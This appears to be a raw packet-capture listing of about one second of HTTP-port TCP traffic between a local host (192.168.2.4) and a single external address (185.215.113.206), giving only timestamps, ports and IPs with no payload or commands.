Nov 1, 2024 05:52:27.198570967 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.198594093 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.198621035 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.198985100 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.198995113 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.199146986 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.288384914 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.288403988 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.288414001 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.288445950 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.288461924 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.288512945 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.288525105 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.288537025 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.288547039 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.288548946 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.288573027 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.288597107 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.289060116 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.289071083 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.289081097 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.289098978 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.289118052 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.321909904 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.321954966 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.321965933 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.321981907 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.321999073 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.322010994 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.322022915 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.322046995 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.322069883 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.322176933 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.322213888 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.322243929 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.322256088 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.322264910 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.322282076 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.322305918 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.411544085 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.411561012 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.411618948 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.411628008 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.411653996 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.411664009 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.411693096 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.411801100 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.411809921 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.411839962 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.412004948 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.412014008 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.412023067 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.412059069 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.412369013 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.412391901 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.412409067 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.412432909 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.445025921 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.445075989 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.445082903 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.445103884 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.445404053 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.445415020 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.445424080 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.445450068 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.445477009 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.445489883 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.445499897 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.445508957 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.445528984 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.445544004 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.446048021 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.446058035 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.446065903 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.446095943 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.446116924 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.535115004 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.535130024 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.535140038 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.535202026 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.535294056 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.535316944 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.535331011 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.535342932 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.535353899 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.535375118 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.535375118 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.535375118 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.535375118 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.535375118 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.535399914 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.568289042 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.568300009 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.568311930 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.568339109 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.568367004 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.568392992 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.568510056 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.568547964 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.568547964 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.568594933 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.568701982 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.568712950 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.568722963 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.568746090 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.568759918 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.569087029 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.569102049 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.569118023 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.569133043 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.569138050 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.569159985 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.569189072 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.658209085 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.658292055 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.658351898 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.658363104 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.658373117 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.658385038 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.658394098 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.658406019 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.658426046 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.658654928 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.658664942 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.658699036 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.658783913 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.658828020 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.658832073 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.658865929 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.691582918 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.691595078 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.691605091 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.691648006 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.691680908 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.691776991 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.691787004 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.691796064 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.691812992 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.691843987 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.692133904 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.692147017 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.692159891 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.692174911 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.692174911 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.692198038 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.692220926 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.692661047 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.692707062 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.692779064 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.692789078 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.692800045 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.692821980 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.692847013 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.733306885 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.733318090 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.733376026 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.781671047 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.781685114 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.781694889 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.781747103 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.781759977 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.782079935 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.782093048 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.782126904 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.782219887 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.782248020 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.782270908 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.782295942 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.815215111 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.815253973 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.815268040 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.815275908 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.815289021 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.815308094 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.815342903 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.815357924 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.815372944 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.815381050 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.815402985 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.815417051 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.815726042 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.815741062 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.815754890 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.815776110 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.815798998 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.815803051 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.815815926 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.815830946 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.815834999 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.815841913 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.815861940 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.897598028 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.897615910 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.897627115 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.897742987 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.905755997 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.905769110 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.905782938 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.905807018 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.905822039 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.905889988 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.905904055 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.905917883 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.905925035 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.905940056 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.905958891 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.938581944 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.938596964 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.938610077 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.938637018 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.938652039 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.938704014 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.938740015 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.938745975 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.938759089 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.938779116 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.938787937 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.939155102 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.939168930 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.939188004 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.939199924 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.939208031 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.939224958 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.939253092 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.939774990 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.939795017 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.939810038 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.939822912 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.939825058 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.939837933 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:27.939846039 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:27.939876080 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.025651932 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.025679111 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.025692940 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.025753021 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.025779963 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.032666922 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.032682896 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.032696962 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.032708883 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.032721043 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.032723904 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.032741070 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.032768011 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.062077999 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.062092066 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.062104940 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.062134981 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.062151909 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.062175989 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.062191010 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.062211990 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.062231064 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.062407017 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.062421083 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.062438011 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.062541008 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.062553883 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.062560081 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.062601089 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.063163996 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.063213110 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.063242912 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.063256025 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.063270092 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.063282013 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.063282967 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.063302994 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.063328981 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.148211956 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.148225069 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.148302078 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.148340940 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.148353100 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.148379087 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.148394108 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.155769110 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.155781031 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.155793905 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.155818939 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.155847073 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.155963898 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.155977011 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.155988932 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.156016111 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.156028032 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.186470032 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.186546087 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.186558962 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.186569929 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.186579943 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.186590910 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.186598063 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.186603069 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.186635017 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.187045097 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.187093973 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.187133074 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.187144995 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.187155962 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.187165976 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.187170029 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.187177896 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.187186003 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.187216043 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.187577009 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.187588930 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.187598944 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.187623978 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.187637091 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.187665939 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.187705994 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.273174047 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.273186922 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.273197889 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.273271084 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.273310900 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.280498981 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.280510902 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.280522108 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.280534029 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.280548096 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.280570030 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.280602932 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.309362888 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.309412956 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.309422016 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.309443951 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.309451103 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.309469938 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.309480906 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.309510946 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.309571028 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.309990883 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.310045958 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.310101986 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.310151100 CET	49760	80	192.168.2.4	185.215.113.206
Nov 1, 2024 05:52:28.310239077 CET	80	49760	185.215.113.206	192.168.2.4
Nov 1, 2024 05:52:28.310290098 CET	49760	80	192.168.2.4	185.215.113.206
